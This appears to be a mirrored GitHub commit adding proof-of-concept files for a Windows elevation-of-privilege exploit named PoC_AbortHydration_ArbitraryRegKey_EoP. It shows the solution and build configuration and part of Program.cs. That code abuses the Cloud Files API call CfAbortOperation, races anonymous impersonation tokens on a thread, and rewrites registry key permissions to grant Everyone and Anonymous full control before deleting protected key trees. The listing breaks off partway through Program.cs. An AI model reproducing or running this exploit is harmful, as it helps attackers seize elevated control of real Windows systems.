mirror of
https://github.com/Nightmare-Eclipse/MiniPlasma.git
synced 2026-05-26 11:50:51 +00:00
PoC files
This commit is contained in:
commit
16ed635ec9
175 changed files with 176379 additions and 0 deletions
25
PoC_AbortHydration_ArbitraryRegKey_EoP.sln
Normal file
25
PoC_AbortHydration_ArbitraryRegKey_EoP.sln
Normal file
|
|
@ -0,0 +1,25 @@
|
||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio Version 16
|
||||||
|
VisualStudioVersion = 16.0.30413.136
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PoC_AbortHydration_ArbitraryRegKey_EoP", "PoC_AbortHydration_ArbitraryRegKey_EoP\PoC_AbortHydration_ArbitraryRegKey_EoP.csproj", "{352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Any CPU = Debug|Any CPU
|
||||||
|
Release|Any CPU = Release|Any CPU
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||||
|
{352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||||
|
{352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||||
|
{352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||||
|
SolutionGuid = {AC46CFC5-1E96-44EF-8DC8-8D76B107B781}
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
||||||
6
PoC_AbortHydration_ArbitraryRegKey_EoP/App.config
Normal file
6
PoC_AbortHydration_ArbitraryRegKey_EoP/App.config
Normal file
|
|
@ -0,0 +1,6 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<configuration>
|
||||||
|
<startup>
|
||||||
|
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8.1"/>
|
||||||
|
</startup>
|
||||||
|
</configuration>
|
||||||
3
PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xml
Normal file
3
PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xml
Normal file
|
|
@ -0,0 +1,3 @@
|
||||||
|
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
|
||||||
|
<Costura />
|
||||||
|
</Weavers>
|
||||||
186
PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd
Normal file
186
PoC_AbortHydration_ArbitraryRegKey_EoP/FodyWeavers.xsd
Normal file
|
|
@ -0,0 +1,186 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
|
||||||
|
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
|
||||||
|
<xs:element name="Weavers">
|
||||||
|
<xs:complexType>
|
||||||
|
<xs:all>
|
||||||
|
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
|
||||||
|
<xs:complexType>
|
||||||
|
<xs:all>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimes" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtimes to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimes" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtimes names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Obsolete, use UnmanagedWinX86Assemblies instead</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinX86Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged X86 (32 bit) assembly names to include, delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Obsolete, use UnmanagedWinX64Assemblies instead.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinX64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged X64 (64 bit) assembly names to include, delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="UnmanagedWinArm64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:element>
|
||||||
|
</xs:all>
|
||||||
|
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IncludeRuntimeReferences" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="UseRuntimeReferencePaths" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="DisableCompression" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="DisableCleanup" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="DisableEventSubscription" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>The attach method no longer subscribes to the `AppDomain.AssemblyResolve` (.NET 4.x) and `AssemblyLoadContext.Resolving` (.NET 6.0+) events.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="ExcludeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IncludeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="IncludeRuntimeAssemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Obsolete, use UnmanagedWinX86Assemblies instead</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="UnmanagedWinX86Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged X86 (32 bit) assembly names to include, delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>Obsolete, use UnmanagedWinX64Assemblies instead</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="UnmanagedWinX64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged X64 (64 bit) assembly names to include, delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="UnmanagedWinArm64Assemblies" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A list of unmanaged Arm64 (64 bit) assembly names to include, delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="PreloadOrder" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
</xs:complexType>
|
||||||
|
</xs:element>
|
||||||
|
</xs:all>
|
||||||
|
<xs:attribute name="VerifyAssembly" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
<xs:attribute name="GenerateXsd" type="xs:boolean">
|
||||||
|
<xs:annotation>
|
||||||
|
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
|
||||||
|
</xs:annotation>
|
||||||
|
</xs:attribute>
|
||||||
|
</xs:complexType>
|
||||||
|
</xs:element>
|
||||||
|
</xs:schema>
|
||||||
|
|
@ -0,0 +1,125 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<Import Project="..\packages\Costura.Fody.6.2.0\build\Costura.Fody.props" Condition="Exists('..\packages\Costura.Fody.6.2.0\build\Costura.Fody.props')" />
|
||||||
|
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||||
|
<PropertyGroup>
|
||||||
|
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||||
|
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||||
|
<ProjectGuid>{352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}</ProjectGuid>
|
||||||
|
<OutputType>Exe</OutputType>
|
||||||
|
<UseAppHost>true</UseAppHost>
|
||||||
|
<RootNamespace>PoC_AbortHydration_ArbitraryRegKey_EoP</RootNamespace>
|
||||||
|
<AssemblyName>PoC_AbortHydration_ArbitraryRegKey_EoP</AssemblyName>
|
||||||
|
<TargetFrameworkVersion>v4.8.1</TargetFrameworkVersion>
|
||||||
|
<FileAlignment>512</FileAlignment>
|
||||||
|
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
|
||||||
|
<Deterministic>true</Deterministic>
|
||||||
|
<IsWebBootstrapper>false</IsWebBootstrapper>
|
||||||
|
<NuGetPackageImportStamp>
|
||||||
|
</NuGetPackageImportStamp>
|
||||||
|
<TargetFrameworkProfile />
|
||||||
|
<PublishUrl>publish\</PublishUrl>
|
||||||
|
<Install>true</Install>
|
||||||
|
<InstallFrom>Disk</InstallFrom>
|
||||||
|
<UpdateEnabled>false</UpdateEnabled>
|
||||||
|
<UpdateMode>Foreground</UpdateMode>
|
||||||
|
<UpdateInterval>7</UpdateInterval>
|
||||||
|
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
|
||||||
|
<UpdatePeriodically>false</UpdatePeriodically>
|
||||||
|
<UpdateRequired>false</UpdateRequired>
|
||||||
|
<MapFileExtensions>true</MapFileExtensions>
|
||||||
|
<ApplicationRevision>1</ApplicationRevision>
|
||||||
|
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
|
||||||
|
<UseApplicationTrust>false</UseApplicationTrust>
|
||||||
|
<PublishWizardCompleted>true</PublishWizardCompleted>
|
||||||
|
<BootstrapperEnabled>true</BootstrapperEnabled>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||||
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
|
<DebugSymbols>true</DebugSymbols>
|
||||||
|
<DebugType>full</DebugType>
|
||||||
|
<Optimize>false</Optimize>
|
||||||
|
<OutputPath>bin\Debug\</OutputPath>
|
||||||
|
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||||
|
<ErrorReport>prompt</ErrorReport>
|
||||||
|
<WarningLevel>4</WarningLevel>
|
||||||
|
<Prefer32Bit>false</Prefer32Bit>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||||
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
|
<DebugType>pdbonly</DebugType>
|
||||||
|
<Optimize>true</Optimize>
|
||||||
|
<OutputPath>bin\Release\</OutputPath>
|
||||||
|
<DefineConstants>TRACE</DefineConstants>
|
||||||
|
<ErrorReport>prompt</ErrorReport>
|
||||||
|
<WarningLevel>4</WarningLevel>
|
||||||
|
<Prefer32Bit>false</Prefer32Bit>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<ManifestCertificateThumbprint>0F28BB121C2D5CEE6A57C741514F51E5F2D9ECAD</ManifestCertificateThumbprint>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<ManifestKeyFile>PoC_AbortHydration_ArbitraryRegKey_EoP_TemporaryKey.pfx</ManifestKeyFile>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<GenerateManifests>true</GenerateManifests>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<SignManifests>true</SignManifests>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Reference Include="Costura, Version=6.2.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL">
|
||||||
|
<HintPath>..\packages\Costura.Fody.6.2.0\lib\netstandard2.0\Costura.dll</HintPath>
|
||||||
|
</Reference>
|
||||||
|
<Reference Include="Microsoft.Win32.TaskScheduler, Version=2.12.1.0, Culture=neutral, PublicKeyToken=2806574b39b74d4b, processorArchitecture=MSIL">
|
||||||
|
<HintPath>..\packages\TaskScheduler.2.12.2\lib\net48\Microsoft.Win32.TaskScheduler.dll</HintPath>
|
||||||
|
</Reference>
|
||||||
|
<Reference Include="NtApiDotNet, Version=1.0.0.0, Culture=neutral, processorArchitecture=MSIL">
|
||||||
|
<HintPath>..\packages\NtApiDotNet.1.1.33\lib\net461\NtApiDotNet.dll</HintPath>
|
||||||
|
</Reference>
|
||||||
|
<Reference Include="System" />
|
||||||
|
<Reference Include="System.ComponentModel.Composition" />
|
||||||
|
<Reference Include="System.Core" />
|
||||||
|
<Reference Include="System.DirectoryServices" />
|
||||||
|
<Reference Include="System.Drawing" />
|
||||||
|
<Reference Include="System.IO.Compression.FileSystem" />
|
||||||
|
<Reference Include="System.Numerics" />
|
||||||
|
<Reference Include="System.Security" />
|
||||||
|
<Reference Include="System.Xml.Linq" />
|
||||||
|
<Reference Include="System.Data.DataSetExtensions" />
|
||||||
|
<Reference Include="Microsoft.CSharp" />
|
||||||
|
<Reference Include="System.Data" />
|
||||||
|
<Reference Include="System.Xml" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Compile Include="Program.cs" />
|
||||||
|
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="App.config" />
|
||||||
|
<None Include="packages.config" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<BootstrapperPackage Include=".NETFramework,Version=v4.7.2">
|
||||||
|
<Visible>False</Visible>
|
||||||
|
<ProductName>Microsoft .NET Framework 4.7.2 %28x86 and x64%29</ProductName>
|
||||||
|
<Install>true</Install>
|
||||||
|
</BootstrapperPackage>
|
||||||
|
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
|
||||||
|
<Visible>False</Visible>
|
||||||
|
<ProductName>.NET Framework 3.5 SP1</ProductName>
|
||||||
|
<Install>false</Install>
|
||||||
|
</BootstrapperPackage>
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||||
|
<Import Project="..\packages\Fody.6.9.3\build\Fody.targets" Condition="Exists('..\packages\Fody.6.9.3\build\Fody.targets')" />
|
||||||
|
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
|
||||||
|
<PropertyGroup>
|
||||||
|
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Error Condition="!Exists('..\packages\Fody.6.9.3\build\Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Fody.6.9.3\build\Fody.targets'))" />
|
||||||
|
<Error Condition="!Exists('..\packages\Costura.Fody.6.2.0\build\Costura.Fody.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.6.2.0\build\Costura.Fody.props'))" />
|
||||||
|
<Error Condition="!Exists('..\packages\Costura.Fody.6.2.0\build\Costura.Fody.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\Costura.Fody.6.2.0\build\Costura.Fody.targets'))" />
|
||||||
|
</Target>
|
||||||
|
<Import Project="..\packages\Costura.Fody.6.2.0\build\Costura.Fody.targets" Condition="Exists('..\packages\Costura.Fody.6.2.0\build\Costura.Fody.targets')" />
|
||||||
|
</Project>
|
||||||
|
|
@ -0,0 +1,13 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup>
|
||||||
|
<PublishUrlHistory>publish\</PublishUrlHistory>
|
||||||
|
<InstallUrlHistory />
|
||||||
|
<SupportUrlHistory />
|
||||||
|
<UpdateUrlHistory />
|
||||||
|
<BootstrapperUrlHistory />
|
||||||
|
<ErrorReportUrlHistory />
|
||||||
|
<FallbackCulture>en-US</FallbackCulture>
|
||||||
|
<VerifyUploadedFiles>false</VerifyUploadedFiles>
|
||||||
|
</PropertyGroup>
|
||||||
|
</Project>
|
||||||
369
PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs
Normal file
369
PoC_AbortHydration_ArbitraryRegKey_EoP/Program.cs
Normal file
|
|
@ -0,0 +1,369 @@
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using Microsoft.Win32.TaskScheduler;
|
||||||
|
using NtApiDotNet;
|
||||||
|
using NtApiDotNet.Win32;
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.IO;
|
||||||
|
using System.IO.Pipes;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Security.AccessControl;
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
using System.Security.Permissions;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
namespace PoC_AbortHydration_ArbitraryRegKey_EoP
|
||||||
|
{
|
||||||
|
static class Program
|
||||||
|
{
|
||||||
|
static NtKey OpenKey(NtKey root, string path, KeyAccessRights desired_access)
|
||||||
|
{
|
||||||
|
Console.WriteLine("Opening for {0}", desired_access);
|
||||||
|
using (var obja = new ObjectAttributes(path, AttributeFlags.OpenLink, root))
|
||||||
|
{
|
||||||
|
using (var key = NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile, false))
|
||||||
|
{
|
||||||
|
if (key.IsSuccess)
|
||||||
|
return key.Result.Duplicate();
|
||||||
|
}
|
||||||
|
|
||||||
|
using (var imp = NtThread.Current.ImpersonateAnonymousToken())
|
||||||
|
{
|
||||||
|
return NtKey.Open(obja, desired_access, KeyCreateOptions.NonVolatile);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void SetSecurityDescriptor(NtKey key, SecurityInformation info)
|
||||||
|
{
|
||||||
|
var sd = new SecurityDescriptor("D:(A;OICIIO;GA;;;WD)(A;OICIIO;GA;;;AN)(A;;GA;;;WD)(A;;GA;;;AN)S:(ML;OICI;NW;;;S-1-16-0)");
|
||||||
|
key.SetSecurityDescriptor(sd, info);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ForceKeyDeleteKey(NtKey root, string name)
|
||||||
|
{
|
||||||
|
Console.WriteLine(@"Deleting {0}\{1}", root.FullPath, name);
|
||||||
|
using (var key = OpenKey(root, name, KeyAccessRights.WriteDac))
|
||||||
|
{
|
||||||
|
Console.WriteLine("Opened for WriteDac");
|
||||||
|
SetSecurityDescriptor(key, SecurityInformation.Dacl);
|
||||||
|
}
|
||||||
|
|
||||||
|
using (var key = OpenKey(root, name, KeyAccessRights.WriteOwner))
|
||||||
|
{
|
||||||
|
Console.WriteLine("Opened for WriteOwner");
|
||||||
|
SetSecurityDescriptor(key, SecurityInformation.Label);
|
||||||
|
}
|
||||||
|
|
||||||
|
using (var new_key = OpenKey(root, name, KeyAccessRights.Delete | KeyAccessRights.EnumerateSubKeys))
|
||||||
|
{
|
||||||
|
Console.WriteLine("Opened for enumerate.");
|
||||||
|
DeleteRegistryTree(new_key);
|
||||||
|
new_key.Delete();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void DeleteRegistryTree(NtKey root)
|
||||||
|
{
|
||||||
|
foreach (var name in root.QueryKeys())
|
||||||
|
{
|
||||||
|
ForceKeyDeleteKey(root, name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
[Flags]
|
||||||
|
enum AbortHydrationFlags
|
||||||
|
{
|
||||||
|
None = 0,
|
||||||
|
Unblock = 1,
|
||||||
|
Block = 2,
|
||||||
|
}
|
||||||
|
|
||||||
|
[DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
|
||||||
|
static extern int CfAbortOperation(int pid, IntPtr unknown, AbortHydrationFlags flags);
|
||||||
|
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
struct CF_PLATFORM_INFO
|
||||||
|
{
|
||||||
|
public int BuildNumber;
|
||||||
|
public int RevisionNumber;
|
||||||
|
public int IntegrationNumber;
|
||||||
|
}
|
||||||
|
|
||||||
|
[DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
|
||||||
|
static extern int CfGetPlatformInfo(
|
||||||
|
out CF_PLATFORM_INFO PlatformVersion
|
||||||
|
);
|
||||||
|
|
||||||
|
static void ForceTokenThread(object obj)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
using (var thread = (NtThread)obj)
|
||||||
|
{
|
||||||
|
Console.WriteLine("In force token thread {0}", thread);
|
||||||
|
using (var token = TokenUtils.GetAnonymousToken())
|
||||||
|
{
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
thread.SetImpersonationToken(token);
|
||||||
|
thread.SetImpersonationToken(null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch(ThreadAbortException)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Console.WriteLine(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const string ROOT_KEY = @"\Registry\User\.DEFAULT\Software\Policies\Microsoft";
|
||||||
|
static string CLOUD_FILES = $@"{ROOT_KEY}\CloudFiles";
|
||||||
|
static string BLOCKED_APPS = $@"{CLOUD_FILES}\BlockedApps";
|
||||||
|
const string TARGET_KEY = @"\Registry\User\.DEFAULT\Volatile Environment";
|
||||||
|
|
||||||
|
static void CheckKeyThread(object root_key)
|
||||||
|
{
|
||||||
|
string path = (bool)root_key ? ROOT_KEY : @"\Registry\User\.DEFAULT";
|
||||||
|
try
|
||||||
|
{
|
||||||
|
using (var key = NtKey.Open(path, null, KeyAccessRights.MaximumAllowed))
|
||||||
|
{
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
if (key.NotifyChange(NotifyCompletionFilter.Name, true) == NtStatus.STATUS_NOTIFY_ENUM_DIR)
|
||||||
|
{
|
||||||
|
Console.WriteLine("Change detected.");
|
||||||
|
Environment.Exit(0);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Console.WriteLine(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static int Check(this int hr)
|
||||||
|
{
|
||||||
|
